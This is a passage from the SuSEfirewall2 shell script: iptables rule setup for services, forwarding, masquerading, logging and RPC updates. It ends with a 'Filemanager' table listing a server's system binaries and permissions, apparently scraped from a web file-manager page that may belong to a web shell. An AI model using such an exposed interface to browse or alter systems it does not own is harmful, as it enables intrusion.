			shift
			;;
		    *) error "unknown parameter $5 in $var -> $service"; continue 2 ;;
		esac
	    done

	    if [ -n "$ipt_recent_update" ]; then
		ipt_recent_rcheck="-m recent --rcheck$ipt_recent_update"
		ipt_recent_update="-m recent --update$ipt_recent_update"
		ipt_recent_set="-m recent --set$ipt_recent_set"
	    fi

	    iptables_list=$IPTABLES_LIST
	    case "$net" in
		*:*) iptables_list="$IP6TABLES" ;;
		[0-9]*.*.*.*) iptables_list="$IPTABLES" ;;
	    esac

	    if [ "$proto" = "_rpc_" ]; then
		[ -n "$selected" -a "$selected" != "$port" ] && continue
		local comment
		comment_pars "rpc.$port"
		rpcservicerules $service | while read ARG; do
			for iptables in $iptables_list; do
			    if [ -n "$ipt_recent_set" ]; then
				$LDC $iptables $rpc_insert $comment ${LOG}"-`rulelog $chain`-DROPr " $ARG -m conntrack --ctstate NEW $ipt_recent_rcheck
				$iptables $rpc_insert $comment -j "$DROP" $ARG -m conntrack --ctstate NEW $ipt_recent_update
			    fi
			    $LAC $iptables $rpc_insert $comment ${LOG}"-`rulelog $chain`-ACC " -m conntrack --ctstate NEW $ARG
			    $LAA $iptables $rpc_insert $comment ${LOG}"-`rulelog $chain`-ACC " $ARG
			    [ -n "$ipt_recent_set" ] && $iptables $rpc_insert $comment -j ACCEPT $ARG -m conntrack --ctstate NEW $ipt_recent_set
			    $iptables $rpc_insert $comment -j ACCEPT $ARG
			done
		done
	    elif $update_rpc; then
	        # don't add any other rules in update rpc mode
	    	continue
	    elif check_proto_port "$proto" "$port" "$sport" "$var"; then
		for iptables in $iptables_list; do
		    if [ -n "$ipt_recent_set" ]; then
			$LDC $iptables -A $chain ${LOG}"-`rulelog $chain`-DROPr " -s $net $proto $port $sport -m conntrack --ctstate NEW $ipt_recent_rcheck
			$iptables -A $chain -j "$DROP" -s $net $proto $port $sport -m conntrack --ctstate NEW $ipt_recent_update
		    fi
		    $LAC $iptables -A $chain -s $net $proto $port $sport -m conntrack --ctstate NEW ${LOG}"-`rulelog $chain`-ACC "
		    $LAA $iptables -A $chain -s $net $proto $port $sport ${LOG}"-`rulelog $chain`-ACC "
		    [ -n "$ipt_recent_set" ] && $iptables -A $chain -s $net $proto $port $sport -j ACCEPT -m conntrack --ctstate NEW $ipt_recent_set
		    $iptables -A $chain -s $net $proto $port $sport -j ACCEPT
		done
	    fi
	done
    done
}


# optional parameters:
# $1: limit the rules to the given service, if given, otherwise all configured
# services are used
# optional envvar:
# add_portmapper: whether to add rules for portmapper itself (boolean,
# default: true)
# update_rpc: whether we're running in update-rpc mode (boolean, default:
# false)
allow_rpc_services()
{
	local zone chain services comment
	local selected="$1"
	[ -z "$add_portmapper" ] && add_portmapper=true
	[ -z "$update_rpc" ] && update_rpc=false

	for zone in $input_zones; do
		chain=input_$zone
		eval services="\$FW_SERVICES_`cibiz $zone`_RPC"
		# explicitly add portmapper ourselves, otherwise -rpcinfo will
		# add it each time, causing duplicate rules
		$add_portmapper && [ ! -z "$services" ] && services="$services portmapper"

		local rpc_insert
		get_rpc_insert_pars $update_rpc $chain

		local service
		for service in $services; do
			# skip not matching services for incremental updates
			[ -n "$selected" -a "$selected" != "$service" -a "$service" != "portmapper" ] && continue
			comment_pars "rpc.$service"
			rpcservicerules $service | while read ARG; do
				for iptables in $IPTABLES_LIST; do
					$LAC $iptables $rpc_insert $comment ${LOG}"-`rulelog $chain`-ACC-RPC " -m conntrack --ctstate NEW $ARG
					$LAA $iptables $rpc_insert $comment ${LOG}"-`rulelog $chain`-ACC-RPC " $ARG
					$iptables $rpc_insert $comment -j "$ACCEPT" $ARG
				done
			done
		done
	done
}

allow_ip_services()
{
    local proto zone iptables protos

    for zone in $input_zones; do
	chain=input_$zone
	eval protos="\$FW_SERVICES_`cibiz $zone`_IP"
	for iptables in "$IPTABLES" "$IP6TABLES"; do
	    for proto in $protos; do
		$LAA $iptables -A $chain ${LOG}"-`rulelog $chain`-ACC-IP " -p $proto
		$iptables -A $chain -j "$ACCEPT" -p $proto
	    done
	done
    done
}

allow_tcp_services()
{
    local port zone iptables ports

    for zone in $input_zones; do
	chain=input_$zone
	eval ports="\$FW_SERVICES_`cibiz $zone`_TCP"
	for iptables in "$IPTABLES" "$IP6TABLES"; do
	    for port in $ports; do
		$LAC $iptables -A $chain ${LOG}"-`rulelog $chain`-ACC-TCP " -p tcp --dport $port --syn
		$LAA $iptables -A $chain ${LOG}"-`rulelog $chain`-ACC-TCP " -p tcp --dport $port
		$iptables -A $chain -j "$ACCEPT" -p tcp --dport $port
	    done
	done
    done
}

# UDP Stuff
allow_udp_services()
{
    local port zone iptables ports

    for zone in $input_zones; do
	chain=input_$zone
	eval ports="\$FW_SERVICES_`cibiz $zone`_UDP"
	for iptables in "$IPTABLES" "$IP6TABLES"; do
	    for port in $ports; do
		$LAA $iptables -A $chain ${LOG}"-`rulelog $chain`-ACC-UDP " -p udp --dport $port
		$iptables -A $chain -j "$ACCEPT" -p udp --dport $port
	    done
	done
    done
}

warn_highports()
{
    if [ -n "$FW_ALLOW_INCOMING_HIGHPORTS_UDP" ]; then
	warning "FW_ALLOW_INCOMING_HIGHPORTS_UDP is obsolete, ignored"
    fi
    if [ -n "$FW_ALLOW_INCOMING_HIGHPORTS_TCP" ]; then
	warning "FW_ALLOW_INCOMING_HIGHPORTS_TCP is obsolete, ignored"
    fi
}

# construct -s/-d pairs with correct negation
net2srcdst()
{
	local name="$1"
	local value=${2#\!}
	if [ -z "$value" ]; then
		echo "${name}_src="
		echo "${name}_dst="
		echo "${name}_neg="
		return
	fi
	local neg=
	if [ "$2" != "$value" ]; then
		neg='! '
		echo "${name}_neg=1"
	else
		echo "${name}_neg="
	fi
	echo "${name}_src=\"$neg-s $value\""
	echo "${name}_dst=\"$neg-d $value\""
}

# redirect packets from one port to another, opens ports in input_*
redirect_rules()
{
    local chain nets proto port1 port2
    local net1 net1_neg net1_src net1_dst
    local net2 net2_neg net2_src net2_dst
    local redirectinstalled
    for nets in $FW_REDIRECT; do
	IFS=, eval set -- \$nets

	net1="$1"
	net2="$2"
	proto="$3"
	port1="$4"
	port2="$5"
	
	if [ -n "$6" ]; then
	    error "Too many arguments in FW_REDIRECT -> $nets"
	elif [ -z "$net1" -o -z "$net2" -o -z "$proto" ]; then
	    error "Missing parameter in FW_REDIRECT -> $nets"
	elif [ "$proto" != tcp -a "$proto" != udp ]; then
	    error "FW_REDIRECT supports only tcp and udp -> $nets"
	else
	    if [ -n "$port1" ]; then
		port1="--dport $port1"
	    fi
	    if [ -n "$port2" ]; then
		port2="--to-ports $port2"
	    fi
	    eval `net2srcdst net1 "$net1"`
	    eval `net2srcdst net2 "$net2"`
	    $IPTABLES -A PREROUTING -t mangle -j MARK  -p $proto $net1_src $net2_dst $port1 --set-mark $mark_redir
	    $IPTABLES -A PREROUTING -t nat -j REDIRECT -p $proto $net1_src $net2_dst $port1 $port2
	    redirectinstalled=1
	fi
    done

    if [ -n "$redirectinstalled" ]; then
	for chain in $input_zones; do
	    chain=input_$chain
	    $LAC $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-REDIR " -m mark --mark $mark_redir -m conntrack --ctstate NEW
	    $LAA $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-REDIR " -m mark --mark $mark_redir -m conntrack --ctstate NEW,ESTABLISHED,RELATED
	    $IPTABLES -A $chain -j "$ACCEPT" -m conntrack --ctstate NEW,ESTABLISHED,RELATED -m mark --mark $mark_redir
	done
    fi

}

allow_class_routing()
{
    local chain iface devs zone iptables

    if [ "$FW_ALLOW_CLASS_ROUTING" = 'yes' ]; then
	FW_ALLOW_CLASS_ROUTING="$forward_zones"
    elif [ "$FW_ALLOW_CLASS_ROUTING" = 'no' ]; then
	return
    fi
    
    # assuming that only traffic from $zone interface enter the
    # forward_$zone chain anyways, we don't need the -i parameter
    for zone in $FW_ALLOW_CLASS_ROUTING; do
	eval devs="\$FW_DEV_$zone"
	chain=forward_$zone
	for iface in $devs; do
	    for iptables in "$IPTABLES" "$IP6TABLES"; do
		$LAA $iptables -A $chain $LOG"-`rulelog $chain`-ACC-CLASS "  -o $iface
		$iptables -A $chain -j "$ACCEPT" -o $iface
	    done
	done
    done
}

allow_related_forward_icmp()
{
    local chain itype

    for chain in $forward_zones; do
	chain=forward_$chain
	for itype in $safe_icmp_replies; do
	    $LAA $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-FWD-RELA"  -m conntrack --ctstate ESTABLISHED,RELATED -p icmp --icmp-type $itype
	    $IPTABLES -A $chain -j "$ACCEPT" -m conntrack --ctstate ESTABLISHED,RELATED -p icmp --icmp-type $itype
	done
	for itype in $safe_icmpv6_replies; do
	    $LAA $IP6TABLES -A $chain ${LOG}"-`rulelog $chain`-FWD-RELA " -m conntrack --ctstate ESTABLISHED,RELATED  -p icmpv6 --icmpv6-type $itype
	    $IP6TABLES -A $chain -j "$ACCEPT" -m conntrack --ctstate ESTABLISHED,RELATED -p icmpv6 --icmpv6-type $itype
	done
    done
}

# <source network>,<destination network>[,protocol[,port[,flags]]]
forwarding_rules()
{
    local nets net1 net2 flags more_args_in more_args_out chain iptables var services
    local zone zonein zoneout
    local target="$1"
    if [ "$target" = ACCEPT ]; then
	var="FW_FORWARD"
    else
	var="FW_FORWARD_${target}"
    fi
    eval services="\"\$$var\""
    for nets in $services; do
	IFS=, eval set -- \$nets

	net1="$1"
	net2="$2"
	proto="$3"
	port="$4"
	shift; shift; shift; shift
	rport=""
	more_args_in=
	more_args_out=
	zonein=
	zoneout=

	while [ "$#" -gt 0 ]; do
	    case "$1" in
		ipsec)
		    more_args_in="$IPSEC_INPUT_MATCH"
		    more_args_out="$IPSEC_OUTPUT_MATCH"
		    ;;
		zonein=*) zonein="${1#*=}" ;;
		zoneout=*) zoneout="${1#*=}" ;;
		*) error "unknown parameter $1 in FW_FORWARD -> $1"; net1= ;;
	    esac
	    shift
	done

	if ! check_proto_port "$proto" "$port" '' "FW_FORWARD"; then
	    continue
	fi

	if [ -n "$net1" -a -n "$net2" ]; then
	    if [ "${net1//:/_}" != "$net1" -o "${net2//:/_}" != "$net2" ]; then
		iptables=$IP6TABLES
	    else
		iptables=$IPTABLES
	    fi
	    for zone in $forward_zones; do
		chain=forward_$zone
		set -- $iptables -A $chain $proto $more_args_in
		if [ -z "$zonein" -o "$zonein" = "$zone" ]; then
		    if [ -n "$zoneout" ]; then
			create_cond_chain "$target" "out" "$zoneout"
			jt=${target}_if_out_$zoneout
		    else
			jt="$target"
		    fi
		    $LAC "$@" -s $net1 -d $net2 ${LOG}"-`rulelog $chain`-${target:0:3}-FORW " $port -m conntrack --ctstate NEW $more_args_in
		    $LAA "$@" -s $net1 -d $net2 ${LOG}"-`rulelog $chain`-${target:0:3}-FORW " $port $more_args_in
		    "$@" -s $net1 -d $net2 -j "$jt" -m conntrack --ctstate NEW,ESTABLISHED,RELATED $port
		fi
		if [ -z "$zoneout" -o "$zoneout" = "$zone" ]; then
		    if [ -n "$zonein" ]; then
			create_cond_chain "$target" "out" "$zonein"
			jt=${target}_if_out_$zonein
		    else
			jt="$target"
		    fi
		    "$@" -s $net2 -d $net1 -j "$jt" -m conntrack --ctstate ESTABLISHED,RELATED $rport
		fi
		if [ -n "$more_args_out" ]; then
		    if [ -z "$zonein" -o "$zonein" = "$zone" ]; then
			$LAC $iptables -A $chain ${LOG}"-`rulelog $chain`-${target:0:3}-FORW "  -s $net1 -d $net2 $proto $port -m conntrack --ctstate NEW $more_args_out
			$LAA $iptables -A $chain ${LOG}"-`rulelog $chain`-${target:0:3}-FORW "  -s $net1 -d $net2 $proto $port $more_args_out
		    fi
		    if [ -z "$zoneout" -o "$zoneout" = "$zone" ]; then
			$iptables -A $chain -j "$target" -m conntrack --ctstate NEW,ESTABLISHED,RELATED -s $net1 -d $net2 $proto $port $more_args_out
			$iptables -A $chain -j "$target" -m conntrack --ctstate ESTABLISHED,RELATED -s $net2 -d $net1 $proto $rport $more_args_out
		    fi
		fi
	    done
	else
	    error "too few parameters in $var -> $nets"
	fi
     done
}

masquerading_rules()
{
    local nets proto port dev sport
    local net1 net1_neg net1_src net1_dst
    local net2 net2_neg net2_src net2_dst
    local szone dzone sdev sdevs
    local z d
    local var='FW_NOMASQ_NETS'
    for nets in $FW_NOMASQ_NETS -- $FW_MASQ_NETS; do
	if [ "$nets" = '--' ]; then # cheap hack
	    var='FW_MASQ_NETS'
	    continue
	fi
	IFS=, eval set -- \$nets

	net1="$1"
	net2="$2"
	proto="$3"
	port="$4"
	rport=""

	if [ -n "$5" ]; then
   	    error "Too many arguments in $var -> $nets"
	elif [ -z "$net1" ]; then
	    error "source network must not be empty in $var -> $nets"
	elif check_proto_port "$proto" "$port" '' "$var"; then
	    eval `net2srcdst net1 "$net1"`
	    eval `net2srcdst net2 "$net2"`
	    for dev in $FW_MASQ_DEV; do
		d=${dev//[^A-Za-z0-9]/_}
		eval z=\${iface_$d}

		if [ "$var" = "FW_NOMASQ_NETS" ]; then # cheap hack
		    $IPTABLES -A POSTROUTING -j ACCEPT -t nat $net1_src $net2_dst $proto $port -o $dev
		    continue
		fi

		for dzone in $forward_zones; do
		    dzone=forward_$dzone
		    for szone in $forward_zones; do
			[ "$z" = "$szone" ] && continue
			eval sdevs="\$FW_DEV_$szone"
			for sdev in $sdevs; do
			    [ "$sdev" = "$dev" ] && continue
			    if [ "forward_$z" != "$dzone" ]; then
				#echo "$dzone: $sdev ($szone) -> $dev ($z)"
				$LAA $IPTABLES -A $dzone ${LOG}"-`rulelog $dzone`-ACC-MASQ "  $net1_src $net2_dst $proto $port -i $sdev -o $dev
				$IPTABLES -A $dzone -j "$ACCEPT" -m conntrack --ctstate NEW,ESTABLISHED,RELATED $net1_src $net2_dst $proto $port -i $sdev -o $dev
			    else
				#echo "$dzone: $sdev ($szone) <- $dev ($z)"
				# we need to allow the replies as well
				$LAA $IPTABLES -A $dzone $net1_dst $net2_src $proto $rport -i $dev -o $sdev ${LOG}"-`rulelog $dzone`-ACC-MASQ " -m conntrack --ctstate ESTABLISHED,RELATED
				$IPTABLES -A $dzone $net1_dst $net2_src $proto $rport -i $dev -o $sdev -j "$ACCEPT" -m conntrack --ctstate ESTABLISHED,RELATED
			    fi
			done
		    done
	        done

		$IPTABLES -A POSTROUTING -j MASQUERADE -t nat $net1_src $net2_dst $proto $port -o $dev
	    done
	fi
    done
}

# <source network>,<ip to forward to>,<protocol>,<port>[,redirect port,[destination ip]]
# XXX: really stupid syntax. That one would be more obvious:
# <source network>,<destination>,<protocol>,<port>,<ip to forward to>,<redirect port>
forward_masquerading_rules()
{
    local nets proto port1 port2 lip
    local net1 net1_neg net1_src net1_dst
    local net2 net2_neg net2_src net2_dst
    for nets in $FW_FORWARD_MASQ; do
	IFS=, eval set -- \$nets

	net1="$1"
	target="$2"
	proto="$3"
	port1="$4"
	port2="$5"
	net2="$6"

	case "$target" in
	    */*|\!*|'')
		error "target must be a single host in FW_FORWARD_MASQ -> $nets"
		continue
		;;
	esac

	if [ -n "$7" ]; then
   	    error "too many arguments in FW_FORWARD_MASQ -> $nets"
	elif [ -z "$net1" ]; then
	    error "source network must not be empty in FW_FORWARD_MASQ -> $nets"
        elif [ "$proto" != tcp -a "$proto" != udp ]; then
	    error "The protocol with FW_FORWARD_MASQ must be tcp or udp -> $nets"
        elif [ -z "$port1" ]; then
	    error "Port missing in FW_FORWARD_MASQ -> $nets"
	else
	    eval `net2srcdst net1 "$net1"`
	    eval `net2srcdst net2 "$net2"`
	    eval `net2srcdst target "$target"`
	    proto="-p $proto"
	    test -z "$port2" && port2="$port1"
	    port1="--dport $port1"
	    dport2="--dport $port2"
	    port2=":${port2/:/-}"
	    for dev in $FW_MASQ_DEV; do
		$IPTABLES -A PREROUTING -j DNAT -t nat $proto $net1_src $net2_dst $port1 --to-destination ${target}${port2} -i $dev
		# to install minimal rule set we'd need to check if
		# $net1 is covered by $FW_MASQ_NETS. Not feasible in
		# bash code so just check for 0/0
		if [ "$FW_MASQ_NETS" != "0/0" ]; then
		    $IPTABLES -A POSTROUTING -j MASQUERADE -t nat $net1_src $net2_dst $proto $dport2 -o $dev
		fi
	    done
	    for chain in $forward_zones; do
		chain=forward_$chain
		$LAC $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-REVMASQ " $proto $net1_src $target_dst $dport2 -m conntrack --ctstate NEW
		$LAA $IPTABLES -A $chain ${LOG}"-`rulelog $chain`-ACC-REVMASQ " $proto $net1_src $target_dst $dport2
		$IPTABLES -A $chain -j "$ACCEPT" $proto $net1_src $target_dst $dport2
		$IPTABLES -A $chain -j "$ACCEPT" $proto $net1_dst $target_src -m conntrack --ctstate ESTABLISHED,RELATED
	    done
	fi
    done
}

# Special Logging + Deny #
drop_all()
{
    local chain
    local zone
    local drop
    local comment
    comment_pars "insert.pos"

	for iptables in $IPTABLES_LIST; do
	    local icmp_type=icmp
	    local chainprefix='input_'
	    [ $iptables = $IP6TABLES ] && icmp_type=icmpv6

		for zone in $input_zones '--' $forward_zones; do

			if [ "$zone" = '--' ]; then
	    			[ "$FW_ROUTE" != 'yes' ] && break
				chainprefix='forward_'
				continue
			fi

			chain="$chainprefix$zone"

			eval drop="\$FW_REJECT_`cibiz $zone`"
			if [ "$drop" = "yes" ]; then
				drop="$REJECT"
			else
				drop="$DROP"
			fi

			eval local ignore="\$FW_IGNORE_FW_BROADCAST_`cibiz $zone`"

			# log and drop broadcast/multicast packets separately, only if not
			# ignored, to not flood other log targets (#155326, #538053, #847193)

			# the $comment added here is a marker that helps us to
			# find the right insert position for incremental rule
			# additions in update-rpc mode. We can't simply append
			# the incremental rules, because we have general DROP
			# statements at the end, but also should't simply
			# prepend incremental rules, because we have some DROP
			# statements at the beginning like DROP broadcast in
			# the INPUT chain. This here should be a good spot,
			# after the initial DROP statements but before the
			# final ones.

			if [ "$ignore" != 'yes' ]; then
				$LDA $iptables -A $chain $comment ${LOG}"-`rulelog $chain`-DROP-DEFLT " -m pkttype \! --pkt-type unicast
			fi
			$iptables -A $chain $comment -j "$DROP" -m pkttype \! --pkt-type unicast

			# some packet types are considered critical
			if [ -z "$LDC" ]; then
				local log=${LOG}"-`rulelog $chain`-DROP-DEFLT"
				$iptables  -A $chain $log" " -p tcp --syn
				$iptables  -A $chain $log" " -p ${icmp_type}
				$iptables  -A $chain $log" " -p udp -m conntrack --ctstate NEW
			fi
			# log anything else
			$LDA $iptables -A $chain ${LOG}"-`rulelog $chain`-DROP-DEFLT "
			$iptables -A $chain -j "$drop"
		done
	done
}

# bnc#1069760
# in some circumstances like with rpc service rules for portmapper
# port 111 we can end up with duplicate rules in the rule set. It's
# difficult to avoid setting them in the first place due to
# customizations by users, different packages dropping rpc service
# files not according to standard (specifying portmap instead of portmapper),
# therefore we're implicitly adding portmapper for each rpc service setup ...
#
# so this is not elegant but involves the smallest risk of breaking
# something: iterate over the rules we've set know and remove unneeded
# ones
function erase_duplicates
{
	for zone in $all_zones; do
		for chain in input forward; do
			chain="${chain}_${zone}"
			# use _BIN variants here, to avoid iptables-batch
			# getting in our way
			for iptables in $IPTABLES_BIN $IP6TABLES_BIN; do
				erase_duplicates_in_chain "$iptables" "$chain"
			done
		done
	done
}

function erase_duplicates_in_chain
{
	local iptables="$1"
	local chain="$2"

	[ -z "$chain" -o -z "$iptables" ] && return 1

	# keep track of duplicate rules via an associative array
	declare -A ruleset
	declare -A rulemap

	local ORIG_IFS="$IFS"
	local replace='s/-m comment --comment "[^"]\+" //g'
	local rulenum=1
	local dups=""
	local rule

	# - tail: ignore the first rule (chain creation rule, not counted)
	# - sed: cut out the comments from the rules, because equal rules
	#        can have different comments for the update-rpc logic

	IFS=$'\n'; for rule in `$iptables -S "$chain" | /usr/bin/tail -n +2 | /usr/bin/sed $replace`; do
		if [ ${ruleset[$rule]+abc} ]; then
			# it's important to put higher numbers first, because
			# otherwise we'll screw up order upon delete
			dups="$rulenum $dups"
		else
			ruleset[$rule]=true
		fi

		rulemap[$rulenum]=$rule
		rulenum=$(($rulenum + 1))
	done

	IFS="$ORIG_IFS"

	for rulenum in $dups; do
		rule=${rulemap[$rulenum]}
		tracemessage "Removing duplicate rule nr. $rulenum from $chain: $rule"
		$iptables -D "$chain" $rulenum
	done
}

# perform some final actions after all rules have been setup
function fw_after_finished
{
	erase_duplicates

	# check whether libvirtd is running and trigger it to reinstate
	# firewall rules, if necessary. See bsc#884398
	/bin/systemctl --quiet is-active libvirtd || return

	# this only affects virtual networks (NAT) created by libvirt. The
	# default.xml example network provided by libvirt does create such
	# rules. You don't even need a VM for this, you just need to create
	# the network in virsh, see here
	# https://wiki.libvirt.org/page/Networking#NAT_forwarding_.28aka_.22virtual_networks.22.29

	# this signal tells libvirtd to reinstate its firewall rules for
	# active VMs
	/usr/bin/killall -HUP libvirtd

	# sadly libvirtd may require but not doesn't restore ip_forwarding, so
	# we don't rightly know whether this is necessary at this stage
	#
	# we remembered the old value in switch_on_ip_forwarding an restore it
	# here, if it was on before
	if [ "$FW_ROUTE" != "yes" -a "$orig_ipv4_forwarding" -eq 1 ]; then
	    switch_on_ip_forwarding "yes"
	fi
}

# reads in all config files, prepares script state for further activity
function init_configuration()
{
	parse_zones
	parse_interfaces
	check_interfaces_unique
	autodetect_interfaces
	write_status
	process_masq_dev

	load_customrules

	check_interfaces

	verify_parameters
	#verify_masq_nets

	parse_ipsec

	remove_unused_zones
	[ "$FW_ROUTE" != 'no' ] && forward_zones="$all_zones"
	input_zones="$all_zones"
	saved_input_zones="$input_zones" # need that for fork_to_chains

	parse_configurations
}

# removes all rules from the separate sfw2 chains that match the given comment
# string
# $1: the comment string to use for finding matching rules. This may also
# contain grep regular expression wildcards to selecting multiple groups of
# comments
function remove_matching_rules()
{
	local id
	comment_id "$1"

	# there are different approaches to remove inidividual rules again.
	# the default is that we'd need to specify the complete rule to
	# iptables -D, which is pretty cumbersome. An alternative is to
	# specify the rule number in the chain, that we want to delete

	# the rule number is not fixed, when removing a rule in the middle
	# then the numbers of all following rules change. thus it also isn't
	# race free if multiple programs modify the tables. This is true for
	# many things regarding iptables, however.

	# we use the rule number approach here.
	# iptables -L --line shows the rule numbers, however for all chains.
	# this is difficult to process for us.
	# iptables -S shows the rules from a given chain, but doesn't support
	# the --line parameter >:-(

	# - the first rule from iptables -S is to be ignored (it's the chain
	# creation rule).
	# - cat prints us the numbers
	# - grep filters the rules we want
	# - ... and extracts the rule numbers
	# - tac reverses the numbers so we start with the highest
	#   rule numbers first, to prevent the renumbering of rules hitting
	#   us.

	for zone in $all_zones; do
		for chain in input forward; do
			chain="${chain}_${zone}"
			# use IPTABLES_BIN here, to avoid iptables-batch
			# handling that breaks when we want to parse the
			# iptables output, or calculate rule numbers in
			# get_rpc_insert_pars
			for rulenr in `$IPTABLES_BIN -S $chain | /usr/bin/tail -n +2 | /usr/bin/cat -n | /usr/bin/grep "\"$id\"" | /usr/bin/grep -o '^[[:space:]]*[0-9]\+' | /usr/bin/tac`; do
				$IPTABLES_BIN -D $chain $rulenr
			done
		done
	done
}

# called in update-rpc mode:
# - remove any currently active rules for the selected rpc services
# - reinstate the rules based on updated port mapper information
# $1: the rpc_service to update, or empty for all services currently
# configured
function update_rpc()
{
	local service="$1"
	local pattern="$service"

	# wildcard all rpc comments if no special service is selected
	[ -z "$pattern" ] && pattern='[^"]\+'

	remove_matching_rules "rpc.$pattern"
	# necessary to reduce the input_zones to the necessary amount
	protect_from_internal "update-rpc"

	local action
	for action in DROP REJECT; do
		reject_or_drop_services $action "update-rpc" $service
	done

	# don't add the portmapper rules if we're doing a selective rpc
	# service update and the rules are already in place
	# - except if the service is the portmapper itself, in which case we
	# want to process it, of course
	local add_portmapper=true
	if [ -n "$service" -a "$service" != "portmapper" ]; then
		local id
		comment_id "rpc.portmapper"
		$IPTABLES_BIN -L | grep -q "$id"
		[ $? -eq 0 ] && add_portmapper=false
	fi

	add_portmapper=$add_portmapper update_rpc=true allow_rpc_services $service
	accept_services "update-rpc" $service

	[ -n "$USE_IPTABLES_BATCH" ] && commit_iptables_batch
}

############################################
#                                          #
# Now we begin to set the filter rules ... #
#                                          #
############################################

if [ "$ACTION" = "showlog" ]; then
    exec perl "$SCRIPTSDIR/SuSEfirewall2-showlog" "$@"
    die 1 "failed to execute $SCRIPTSDIR/SuSEfirewall2-showlog"
fi

###############

setlock

if [ "$ACTION" = "bootlock" -o "$ACTION" = "bootunlock" ]; then
    # lock file already set in setlock
    die 0
fi

if [ "$MODE" = "test" ]; then
    DROP="ACCEPT"
    REJECT="ACCEPT"
    FW_LOG_DROP_ALL=yes
    FW_LOG_DROP_CRIT=yes
    FW_LOG_ACCEPT_ALL=no
    FW_LOG_ACCEPT_CRIT=no
    warning "SuSEfirewall2 is running in TEST MODE, no packet filtering is done!"
fi

parse_logging

if [ "$ACTION" = "basic" ]; then
    # Reset the filter rules
    set_basic_rules

    $IPTABLES -A INPUT -j "$ACCEPT" -p icmp --icmp-type echo-request

    # log incoming tcp connection requests. also logging udp etc would just flood the log
    $IPTABLES -A INPUT -p tcp -m conntrack --ctstate NEW $LOG"-IN-DROP-NEW-CONNECT "

    # reject anything else
    $IPTABLES -A INPUT -j "$DROP"

    [ -n "$USE_IPTABLES_BATCH" ] && commit_iptables_batch

    die 0 "Firewall rules successfully set in simple mode"
fi

if [ "$ACTION" = "stop" ]; then
    if [ "$FW_STOP_KEEP_ROUTING_STATE" != "yes" ]; then
	setproc 0 /proc/sys/net/ipv4/ip_forward
    fi
    # Do we have a kernel with IPv6 enabled?
    $IP6TABLES_BIN -nvL >/dev/null 2>&1 || IP6TABLES=:
    reset_rules
    clear_qdisc_settings
    handle_initscripts
    rm -rf "$STATUSDIR"/{override,status}
    [ -n "$USE_IPTABLES_BATCH" ] && commit_iptables_batch
    die 0 "Firewall rules unloaded."
fi

if [ "$ACTION" = "close" ]; then
    set_basic_rules
    setproc 0 /proc/sys/net/ipv4/ip_forward
    [ -n "$USE_IPTABLES_BATCH" ] && commit_iptables_batch
    die 0 "Firewall rules set to CLOSE."
fi

if [ "$ACTION" = "status" ]; then
    if [ "$UID" != 0 ]; then
	die 2 "You need to be root to check the status"
    fi
    if ! is_running; then
	die 1 "SuSEfirewall2 not active"
    fi

    [ -z "$quiet" ] || die 0

    # yes we need cat here, while read ... does no work :-(
    for i in `sort < /proc/net/ip_tables_names`; do
	echo "### iptables $i ###"
	$IPTABLES -t $i -vnL
	echo ""
    done
    if [ "$IP6TABLES" != ":" ]; then
	for i in `sort /proc/net/ip6_tables_names`; do
	    echo "### ip6tables $i ###"
	    $IP6TABLES -t $i -vnL
	    echo ""
	done
    fi
    die 0
fi

if [ "$ACTION" = "open" ]; then
    OPENHELPER="$SCRIPTSDIR/SuSEfirewall2-open"
    exec perl -w $OPENHELPER "$@"
    die 1 "failed to execute $OPENHELPER"
fi

if [ "$ACTION" = "update-rpc" ]; then
    init_configuration
    if ! is_firewall_running; then
        die 1 "SuSEfirewall2 is not running, no rpc update possible"
    else
	message "Updating rules for ${rpc_service:-every} rpc service"
    fi
    update_rpc $rpc_service
    die 0
fi

### main mode ###

message "Setting up rules from $FWCONFIG ..."


init_configuration


# Set default rules + flush
set_basic_rules

switch_on_ip_forwarding $FW_ROUTE

set_proc_stuff

create_chains

# HOOK
fw_custom_after_chain_creation

# HOOK, deprecated
fw_custom_before_antispoofing

# HOOK, deprecated
fw_custom_after_antispoofing

protect_from_internal

check_convert_old_broadcast

drop_broadcast

allow_ipsec

allow_icmp

allow_forward_icmp_echo

# HOOK
fw_custom_before_port_handling

process_trusted_nets

if [ "$FW_LEGACY_ACCEPT_FIRST" != 'yes' ]; then
    reject_or_drop_services DROP

    reject_or_drop_services REJECT
fi

allow_related

allow_ip_services

allow_tcp_services

allow_udp_services

allow_rpc_services

accept_services

if [ "$FW_LEGACY_ACCEPT_FIRST" = 'yes' ]; then
    reject_or_drop_services DROP

    reject_or_drop_services REJECT
fi

warn_highports

# HOOK
fw_custom_before_masq

redirect_rules

if [ "$FW_ROUTE" = yes ]; then

    allow_related_forward_icmp

    allow_class_routing

    forwarding_rules DROP
    forwarding_rules REJECT
    forwarding_rules ACCEPT

    if [ "$FW_MASQUERADE" = yes ]; then
	masquerading_rules
	forward_masquerading_rules
    fi
fi

# HOOK
fw_custom_before_denyall

drop_all

fork_to_chains

finish_chains

# HTB settings
if [ -n "$FW_HTB_TUNE_DEV" ]; then
    need qdisc
    do_qdisc_settings
fi

[ -n "$USE_IPTABLES_BATCH" ] && commit_iptables_batch

handle_initscripts

fw_after_finished
# HOOK
fw_custom_after_finished

# END #
die 0 "Firewall rules successfully set"

# vim: fo-=t

Filemanager

Name Type Size Permission Actions
OCICLI File 441 B 0755
OneClickInstallCLI File 441 B 0755
OneClickInstallUI File 99 B 0755
OneClickInstallUrlHandler File 99 B 0755
SUSEfirewall2 File 84.6 KB 0755
SuSEfirewall2 File 84.6 KB 0755
adjtimex File 43.52 KB 0755
agetty File 58.19 KB 0755
analyzevmcore File 22.4 KB 0544
arp File 49.7 KB 0755
arping File 22.04 KB 0755
audispd File 38.18 KB 0750
auditctl File 42.23 KB 0750
auditd File 110.24 KB 0750
augenrules File 3.7 KB 0750
aureport File 98.16 KB 0755
ausearch File 106.17 KB 0755
autrace File 14.09 KB 0750
badblocks File 26.66 KB 0755
blkdeactivate File 14.49 KB 0555
blkid File 102.2 KB 0755
blockdev File 54.17 KB 0755
blogctl File 14.43 KB 0744
blogd File 55.48 KB 0744
blogger File 6.13 KB 0744
brcm_iscsiuio File 171.86 KB 0755
btrfs File 633.27 KB 0755
btrfs-convert File 352.66 KB 0755
btrfs-debug-tree File 316.2 KB 0755
btrfs-image File 340.34 KB 0755
